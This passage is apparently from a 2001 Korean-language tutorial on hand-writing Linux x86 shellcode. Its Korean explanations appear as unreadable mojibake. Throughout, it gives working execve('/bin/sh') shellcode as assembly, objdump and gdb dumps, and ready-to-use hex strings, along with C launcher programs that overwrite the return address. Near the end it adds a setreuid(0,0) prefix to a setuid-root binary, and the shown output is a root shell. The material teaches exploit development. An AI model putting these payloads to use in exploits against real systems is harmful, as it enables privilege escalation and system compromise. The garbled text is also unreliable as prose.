movl $0x01,%eax movl $0x00,%ebx int $0x80 <--- exit(0) system call. strings: call start .string "/bin/sh" [willy@Null@Root]$ gcc test51.s -o test51 [willy@Null@Root]$ objdump -d test51 : 0804841c
: 804841c: eb 2a jmp 8048448 0804841e : 804841e: 5e pop %esi 804841f: c6 46 07 00 movb $0x0,0x7(%esi) 8048422: 89 76 08 mov %esi,0x8(%esi) 8048426: c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi) 804842d: b8 0b 00 00 00 mov $0xb,%eax 8048432: 89 f3 mov %esi,%ebx 8048434: 8d 4e 08 lea 0x8(%esi),%ecx 8048437: 8b 56 0c mov 0xc(%esi),%edx 804843a: cd 80 int $0x80 804843c: b8 01 00 00 00 mov $0x1,%eax 8048441: bb 00 00 00 00 mov $0x0,%ebx 8048446: cd 80 int $0x80 08048448 : 8048448: e8 d1 ff ff ff call 804841e 804844d: 2f das 804844e: 62 69 6e bound %ebp,0x6e(%ecx) 8048451: 2f das 8048452: 73 68 jae 80484bc : ¿©±â¼­ ¾ò¾îÁø ±â°è¾îÄڵ带 Á¤¸®Çؼ­ ¾Æ·¡ test43.c¿Í °°ÀÌ ret ÁÖ¼Ò¿¡ ±â°è¾îÄڵ尡 µé¾î°¡µµ·Ï ÇÏ´Â shellcode±¸µ¿ ÇÁ·Î±×·¥À» ¸¸µé¾î ½ÇÇàÇØ º¸ÀÚ. [willy@Null@Root]$ cat test43.c char sc[] = "\xeb\x2a\x5e\xc6\x46\x07\x00\x89\x76\x08\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8b\x56\x0c\xcd\x80\xb8\x01" "\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff/bin/sh"; main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)sc; } [willy@Null@Root]$ gcc test43.c -o test43 [willy@Null@Root]$ ./test43 sh-2.04$ shellÀ» ¾ò´Âµ¥ ¼º°øÇÏ¿´´Ù.. ÃÖÁ¾ÀûÀ¸·Î Äڵ峻¿¡ NULLÀÌ ³ªÅ¸³ª´Â ºÎºÐÀ» ¾Æ·¡ test52.s¿Í °°ÀÌ ¼öÁ¤ÇÏ°í À̹ø¿¡´Â gdb¸¦ ÀÌ¿ëÇÏ¿© ±â°è¾îÄڵ带 ¸¸µé¾î º¸ÀÚ. ¼öÁ¤Àü | ¼öÁ¤ÈÄ ----------------------------+------------------------------ movb $0x00,0x7(%esi) | xor %eax, %eax | movb %al, 0x7(%esi) movl $0x00,0xc(%esi) | movl %eax, 0xc(%esi) movl 0xc(%esi), %edx | xor %edx, %edx [willy@Null@Root]$ cat test52.s .globl main main: jmp strings start: popl %esi movl %esi, 0x8(%esi) xor %eax, %eax movb %al, 0x7(%esi) movl %eax, 0xc(%esi) movb $0x0b, %al movl %esi, %ebx leal 0x8(%esi), %ecx xor %edx, %edx int $0x80 movb $0x01,%al xor %ebx, %ebx int $0x80 strings:call start .string "/bin/sh" [willy@Null@Root]$ gcc test52.s -o test52 ÄÄÆÛÀÏÇÑµÚ gdb·Î ½ÇÇàÈ­Àϸ¦ ¿¬ÈÄ disassemble mainÀ» Çغ¸¸é ¹Ù·Î jump°¡ ½ÃÀ۵Ǵ °ÍÀ» º¼¼ö ÀÖ´Ù. ±×·¯¹Ç·Î x/40bx main ÇÏ¸é ±â°è¾îÄڵ带 º¼¼ö ÀÖ´Ù. [willy@Null@Root]$ gdb -q test52 (gdb) disassem main Dump of assembler code for function main: 0x804841c
: jmp 0x804843b End of assembler dump. (gdb) disassem start Dump of assembler code for function start: 0x804841e : pop %esi 0x804841f : mov %esi,0x8(%esi) 0x8048422 : xor %eax,%eax 0x8048424 : mov %al,0x7(%esi) 0x8048427 : mov %eax,0xc(%esi) 0x804842a : mov $0xb,%al 0x804842c : mov %esi,%ebx 0x804842e : lea 0x8(%esi),%ecx 0x8048431 : xor %edx,%edx 0x8048433 : int $0x80 0x8048435 : mov $0x1,%al 0x8048437 : xor %ebx,%ebx 0x8048439 : int $0x80 End of assembler dump. (gdb) disassem strings Dump of assembler code for function strings: 0x804843b : call 0x804841e 0x8048440 : das 0x8048441 : bound %ebp,0x6e(%ecx) 0x8048444 : das 0x8048445 : jae 0x80484af <_fini+35> 0x8048447 : add %dl,0x90909090(%eax) 0x804844d : nop 0x804844e : nop 0x804844f : nop End of assembler dump. (gdb) x/40bx main 0x804841c
: 0xeb 0x1d 0x5e 0x89 0x76 0x08 0x31 0xc0 0x8048424 : 0x88 0x46 0x07 0x89 0x46 0x0c 0xb0 0x0b 0x804842c : 0x89 0xf3 0x8d 0x4e 0x08 0x31 0xd2 0xcd 0x8048434 : 0x80 0xb0 0x01 0x31 0xdb 0xcd 0x80 0xe8 0x804843c : 0xde 0xff 0xff 0xff 0x2f 0x62 0x69 0x6e ¿©±â¼­ ±¸ÇÑ ±â°è¾îÄڵ带 shellcode ±¸µ¿ ÇÁ·Î±×·¥(test44.c)¿¡ ³Ö¾î ½ÇÇà½ÃÅ°¸é Á¤»óÀûÀ¸·Î shellÀÌ ¶ß´Â°ÍÀ» È®ÀÎÇÒ¼ö ÀÖ´Ù. [willy@Null@Root]$ cat test44.c char sc1[] = "\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d" "\x4e\x08\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"; main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)sc1; } [willy@Null@Root]$ gcc test44.c -o test44 [willy@Null@Root]$ ./test44 sh-2.04$ ps PID TTY TIME CMD 9238 pts/6 00:00:00 bash 9262 pts/6 00:00:00 sh 9264 pts/6 00:00:00 ps ÀÌÁ¦ shellcode¸¦ ¿Ï¼ºÇÏ¿´´Ù. ±×·¯³ª linux 7.0À̻󿡼­ ÀÌ shellcode¸¦ »ç¿ëÇϱâ À§Çؼ­´Â Çϳª´õ ±â°èÄڵ带 ¸¸µé¾î ÁÖ¾î¾ß ÇÑ´Ù. ±×°ÍÀº ¹Ù·Î setreuid()À» shellcode¾Õ¿¡ Ãß°¡ÇÏ´Â °ÍÀÌ´Ù. setreuid()ÀÇ ±â°è¾îÄÚµå ¸¸µå´Â °Í¿¡ ´ëÇؼ­´Â ´Ü¼øÇϱ⠶§¹®¿¡ ÀÚ¼¼È÷ ¼³¸íÇÏÁö ¾Ê´Â´Ù. root uid¸¦ ¼³Á¤ÇÏ´Â setreuid() ÄÚµå´Â ¾Æ·¡¿Í °°´Ù. main() { setreuid(0,0); } \x31\xc0 // xor %eax,%eax \xb0\x46 // mov $0x46,%al \x31\xdb // xor %ebx,%ebx \x31\xc9 // xor %ecx,%ecx \xcd\x80 // int $0x80 ÀÌ·¸°Ô ¸¸µé¾îÁø Äڵ带 shellcode¾Õ¿¡ ºÙ¿© ¾Æ·¡¿Í shell±¸µ¿ ÇÁ·Î±×·¥À» ¸¸µçµÚ ÄÄÆÛÀÏ ÇÏ¿© ½ÇÇàÈ­ÀÏ¿¡ root setuidÀ» ºÙ¿©º¸ÀÚ. [willy@Null@Root]$ cat test45.c char sc[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" // setreuid(0,0); "\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31" "\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"; main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)sc; } [willy@Null@Root]$ gcc test45.c -o test45 [root@Null@Root]# chown root test45 [root@Null@Root]# chmod 4755 test45 [root@Null@Root]# ls -al drwxrwxr-x 2 willy willy 4096 Sep 12 19:53 . drwxrwxr-x 12 willy willy 4096 Sep 4 07:34 .. -rwsr-xr-x 1 root willy 13825 Sep 12 19:53 test45 ÀÌÁ¦ willy ±ÇÇÑÀ¸·Î test45¸¦ ½ÇÇؽÃÄѺ¸ÀÚ. [willy@Null@Root]$ ./test45 sh-2.04# id uid=0(root) gid=501(willy) groups=501(willy) µåµð¾î root shellÀ» ¾ò¾ú´Ù. ÀÌÁ¦ shellcode ¸¸µé±â°¡ ¸ðµÎ ³¡³µ´Ù. ¸Þ¸ð¸®ÀÇ ±¸Á¶ ºÎÅÍ ½ÃÀÛÇÏ¿©, ¾î¼Àºí¸®¾îÀÇ ±âº» ±¸Á¶¿Í ¸í·É¾î, ±×¸®°í system callÀ» ÀÌ¿ëÇÑ shellcode ±îÁö.. °¡´ÉÇÑÇÑ ¸ðµç ³»¿ëÀ» ½±°Ô ÀÌÇØ ÇÒ¼ö ÀÖµµ·Ï ¼³¸íÇÏ·Á ³ë·ÂÇÏ¿´´Ù. ÀÌ ¹®¼­°¡ shellcodeÁ¦ÀÛÀ» ÀÌÇØÇϴµ¥ µµ¿òÀÌ µÇ¾úÀ¸¸é ÇÏ´Â ¹Ù·¥ÀÌ´Ù. ½Ã°£ÀÌ ÀÖ´Â »ç¶÷Àº /usr/include/asm/unistd.h¿¡ ÀÖ´Â 300¿©°³ÀÇ system call ÇÔ¼öµé Áß¿¡ ¸î°¡Áö¸¦ ÀÌ¿ëÇÏ¿© Àç¹ÌÀÖ´Â ±â°è¾îÄڵ带 ¸¸µé¾î º¸´Â°Íµµ ÁÁÀ»µí ÇÏ´Ù. ¾ÏÆ° ³»¿ëÁß Àǹ®ÀÌ Àְųª ¼öÁ¤ÇÒ ºÎºÐÀÌ ÀÖÀ¸¸é ¾ðÁ¦¶óµµ ¿¬¶ô ¹Ù¶õ´Ù. Âü°í·Î OS³ª CPU°¡ ´Ù¸¥ °æ¿ì ¸Þ¸ð¸® ºÎºÐÀ̳ª ·¹Áö½ºÅÍ, ±×¸®°í ¾î¼Àºí¸®ÀÇ ±¸Á¶°¡ ´Ù¸¦¼ö ÀÖ´Ù. À̺κп¡ ´ëÇؼ­´Â bacchante project (http://165.246.33.21/bacchante)À» Âü°íÇÏ°í °¢ÀÚ ÀÀ¿ëÇØ º¸±â ¹Ù¶õ´Ù. 2001. 09. 12 ¹Ì±¹ Å×·¯»ç°ÇÀÌ ¹ß»ýÇÑ ´ÙÀ½³¯... willy .. (9/13 ÀϺμöÁ¤)